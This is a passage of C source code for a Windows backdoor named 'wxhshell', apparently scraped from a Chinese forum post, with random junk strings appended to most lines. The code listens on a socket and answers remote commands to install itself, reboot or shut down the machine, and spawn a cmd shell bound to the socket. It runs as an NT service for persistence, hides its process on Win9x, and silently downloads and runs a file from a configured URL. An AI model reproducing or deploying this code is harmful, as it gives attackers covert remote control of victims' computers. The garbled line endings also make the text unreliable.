  } #o(@S{(NZ  
  else { +F^X1  
mXUe/*r0T  
    switch(cmd[0]) { sP%J`L@h  
  Rm@F9D[,  
  // 帮助 @SAJ*h fb0  
  case '?': { JL?|NV-  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ]iaQD _'\  
    break; ,u   
  } `^DP<&{  
  // 安装 bE"J&;|  
  case 'i': { 5pq9x4&  
    if(Install()) 7zu3o  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); O9:J ^g  
    else A~'p~ @L  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ^NO;A=9b[  
    break; D^w<V%] .  
    } 2/l4,x  
  // 卸载 {G _|gs  
  case 'r': { vtTXs]>  
    if(Uninstall()) Cx8  H  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Q0TKM >  
    else 6`)Ss5jzk  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); u6P U(f  
    break; #s-li b  
    } ''CowI  
  // 显示 wxhshell 所在路径 &- ZRS/_d>  
  case 'p': { C] |m|`  
    char svExeFile[MAX_PATH]; $)7Af6xD  
    strcpy(svExeFile,"\n\r"); |bjLmGb  
      strcat(svExeFile,ExeFile); ,jMV # H[  
        send(wsh,svExeFile,strlen(svExeFile),0); g)iw.M2  
    break; 4?~Ei[KgQn  
    } d6"B_,*b  
  // 重启 E>qehs,g  
  case 'b': { cONfHl{  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ` aaT #r  
    if(Boot(REBOOT)) .%mjE'  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); "C9.pdP\8  
    else { "'6R|<u=:  
    closesocket(wsh); L9 H.DNA  
    ExitThread(0); _2Fa .gi  
    } f2{qj5 K  
    break; #pX+~ {  
    } 'Ie!%k^  
  // 关机 jp-]];:aPJ  
  case 'd': { J i:0J},m  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); }/Y)^  
    if(Boot(SHUTDOWN)) 8?k.4{?  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); B4;P)\ 2  
    else { 5>M@ F0  
    closesocket(wsh); 3hNb ?  
    ExitThread(0); :n(!,  
    } X]t *  
    break; )jN fQ!?/  
    } edh<L/%D  
  // 获取shell '5n=tRx  
  case 's': { D{s4Bo-  
    CmdShell(wsh); 3S1`av(tD  
    closesocket(wsh); +4Lj}8,  
    ExitThread(0); p:8]jD@}%  
    break; kA&ul  
  } 2&U<Wiu\}  
  // 退出 n0ls a@l  
  case 'x': { IN94[yW{1  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ~7&O[  
    CloseIt(wsh); y1hJVYE2  
    break; \( xQ'AQ-  
    } v7- d+P=  
  // 离开 @EcY& mP)  
  case 'q': { BGVy \F<  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); &8 4Izs/[  
    closesocket(wsh); [{9&KjI0K  
    WSACleanup(); ]ch=D  
    exit(1); W[j7Vi8v  
    break; XY`2>7  
        } .Dg'MM BM  
  } x$tzq+N  
  } t8FgQ)tk  
MFLw^10(T  
  // 提示信息 w'Q2Czso  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); sR*JU%  
} {1`n^j(>  
  } <(-4?"1  
9 !qVYU42(  
  return; ^o*$+DbC  
} 64qQ:D7C  
Yg14aKZl  
// shell模块句柄 MEn#MT/Cz  
int CmdShell(SOCKET sock) ]j?Kn$nv*S  
{ JSm3ZP|GqJ  
STARTUPINFO si; k~b8=$  
ZeroMemory(&si,sizeof(si)); QYTwGThWR  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; U9p^?\-=  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; _ a,XL<9I  
PROCESS_INFORMATION ProcessInfo; B 9AE*  
char cmdline[]="cmd"; Sf0[^"7  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); :7Q, `W9  
  return 0; |qsY0zx  
} ~j2=hkS  
H@WQO]P A  
// 自身启动模式 QabYkL5@  
int StartFromService(void) abM4G  
{ Y_<(~eN`  
typedef struct )z?Kq0  
{ & A<Pf.Us  
  DWORD ExitStatus; ;F<)BEXC<  
  DWORD PebBaseAddress; h8_~ OX  
  DWORD AffinityMask; ' ! ls"qo  
  DWORD BasePriority; rfNt  
  ULONG UniqueProcessId; gJ>HFid_C  
  ULONG InheritedFromUniqueProcessId; Af"vSL  
}   PROCESS_BASIC_INFORMATION; '%"#]  
)ozN{&B6  
PROCNTQSIP NtQueryInformationProcess; 1"CbuV 6  
VCvqiHn  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ZVek`Cc2  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; XP-4=0zd  
"ci<W_lx  
  HANDLE             hProcess; 'Kj8X{BSFb  
  PROCESS_BASIC_INFORMATION pbi; \;A\ vQ[  
D0&{iZ(  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); z[wk-a+w  
  if(NULL == hInst ) return 0; Kv:ih=?  
Zb7:qe<UN  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); =JnUTc _u  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ico(4KSk  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); (7rG~d1iS  
lFY;O !Y5\  
  if (!NtQueryInformationProcess) return 0; 1`_i%R^  
wFaWLC|&  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); N7xkkAS{  
  if(!hProcess) return 0; ^MWfFpJV!]  
}f6x>  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 1v&!`^G99j  
? I}T[j  
  CloseHandle(hProcess); z {J1pH_X  
a;Y9wn  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); '4A8\&lQO  
if(hProcess==NULL) return 0; cZ7b$MZ%9  
-j9R%+YW<  
HMODULE hMod; Q'^]lVY  
char procName[255]; -~h2^Oez  
unsigned long cbNeeded; .j4IW 3)  
5aTyM_x  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); O,[aL;v  
yXw xq(32  
  CloseHandle(hProcess); 2'J.$ h3  
sh?Dxodp9  
if(strstr(procName,"services")) return 1; // 以服务启动 ?^&!/,  
0nz k?iP  
  return 0; // 注册表启动 bct&ge7YX  
} $hO8 S=  
6#5@d^a  
// 主模块 ?lU]J]  
int StartWxhshell(LPSTR lpCmdLine) MnsnW{VGX  
{ ap9eQsC  
  SOCKET wsl; N1(}3O  
BOOL val=TRUE; M42D5|tZc  
  int port=0; W^&t8d2  
  struct sockaddr_in door; m= fmf(  
( L RX  
  if(wscfg.ws_autoins) Install(); e= "/oo  
V|HSIJ#J  
port=atoi(lpCmdLine); zAB-kE\ )  
&TWO/F+Y  
if(port<=0) port=wscfg.ws_port; ,l7ty#j  
kZGhE2np  
  WSADATA data; }.zgVL L  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; <WBGPzVZE  
=4JVUu~Z  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   AD?^.<  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); G';oM;~/|  
  door.sin_family = AF_INET; >o>'@)I?e6  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); oRWsi/Zf  
  door.sin_port = htons(port); ;{Z2i%  
rzaEVXbz1  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ^ad> (W  
closesocket(wsl); 9R;s;2$.  
return 1; D|-]"(2i  
} *bRH,u  
( v ~/glf  
  if(listen(wsl,2) == INVALID_SOCKET) { <!OP b(g2  
closesocket(wsl); [V jd )%  
return 1; J;_JH lK  
} 2,QkktJLo  
  Wxhshell(wsl); bR&hI9`%F  
  WSACleanup(); \HK#d1>ox  
:f/ p5 c  
return 0; ^ACp_RM  
'pm2C6AC  
} (vj2XiO^+  
cF vGpZ  
// 以NT服务方式启动 (c[h,>`@:  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) /CA)R26G  
{ v@t*iDa?7  
DWORD   status = 0; 3UN Jj&-`  
  DWORD   specificError = 0xfffffff; !&'xkw`  
&aF_y_f\  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ] &G5/ ]f  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; < m9O0  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 1;:2=8  
  serviceStatus.dwWin32ExitCode     = 0; -ZyFUGd%  
  serviceStatus.dwServiceSpecificExitCode = 0; am"/Anml|  
  serviceStatus.dwCheckPoint       = 0; *10e)rzM  
  serviceStatus.dwWaitHint       = 0; SV\x2^Ea0  
s` 9zW,  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); *!s4#|h  
  if (hServiceStatusHandle==0) return; z ~VA#8>  
-O_UpjR;  
status = GetLastError(); !w)Mm P Xb  
  if (status!=NO_ERROR) @$nI\ n?*  
{ Rthu8NKn  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ;D^)^~7dh  
    serviceStatus.dwCheckPoint       = 0; 'Ux_X:,:;  
    serviceStatus.dwWaitHint       = 0; s)M2Z3>+  
    serviceStatus.dwWin32ExitCode     = status; R<U?)8g,h~  
    serviceStatus.dwServiceSpecificExitCode = specificError; 2bxT%xH:g  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); xwRnrWd^6  
    return; M"9 zK[cz  
  } G8;S`-D1a,  
/e7'5#v  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; /t9w%Y  
  serviceStatus.dwCheckPoint       = 0; quKD\hL$  
  serviceStatus.dwWaitHint       = 0; h |lQ TT  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); &^uzg&,;  
} U/iAP W4U  
6=@n b3D%  
// 处理NT服务事件,比如:启动、停止 Uv+pdRXn  
VOID WINAPI NTServiceHandler(DWORD fdwControl) %#] T.g  
{ ?D\%ZXo  
switch(fdwControl) Z?X$8o^Z  
{ 6/-!oo   
case SERVICE_CONTROL_STOP: zEhy0LLm  
  serviceStatus.dwWin32ExitCode = 0; #VO2O0GR  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; :,ym)|YV  
  serviceStatus.dwCheckPoint   = 0; ./fEx 'E  
  serviceStatus.dwWaitHint     = 0; ~F(+uJbO  
  { RV$+g.4  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); "FXS;Jf  
  } tAC,'im:*  
  return;  CMg83  
case SERVICE_CONTROL_PAUSE: rvmI 8  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; KOmP-q=6  
  break; ,X$Avdc2  
case SERVICE_CONTROL_CONTINUE: :>;ps R  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 4vX]c  
  break; 9Y4N  
case SERVICE_CONTROL_INTERROGATE: asq/_`  
  break; Hwc{%.%ae  
}; 52["+1g\  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); hL3,/^;E,  
} 5{u6qc4FW  
G4{qWa/  
// 标准应用程序主函数 2?r8>#_*  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) kCwTv:)  
{ EIYM0vls(  
U.)G #B  
// 获取操作系统版本 !}P FiT^  
OsIsNt=GetOsVer(); GY",AL8f  
GetModuleFileName(NULL,ExeFile,MAX_PATH); kIfb!  
\G=E%aK  
  // 从命令行安装 dI 5sqM:  
  if(strpbrk(lpCmdLine,"iI")) Install(); /-hF<oNQ  
hZ'oCRM  
  // 下载执行文件 QlS5B.h,  
if(wscfg.ws_downexe) { x ?V/3zW  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) nfJ8Rt   
  WinExec(wscfg.ws_filenam,SW_HIDE); (k5DbP[  
} :1lE98=  
XF7W'^  
if(!OsIsNt) { :HE]P)wz-  
// 如果时win9x,隐藏进程并且设置为注册表启动 `;_tt_  
HideProc(); f~q&.,I(  
StartWxhshell(lpCmdLine); KJ)nGoP>  
} _ <;Q=?'*  
else >4ct[fW+  
  if(StartFromService()) Ds G *  
  // 以服务方式启动 `Of wl%G  
  StartServiceCtrlDispatcher(DispatchTable); >#:/ GN?  
else r;XQ i  
  // 普通方式启动 NI1HUUZz  
  StartWxhshell(lpCmdLine); &V?q d{39  
Ij #a  
return 0; _M&.kha  
}
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只看该作者 1 发表于: 2006-10-10
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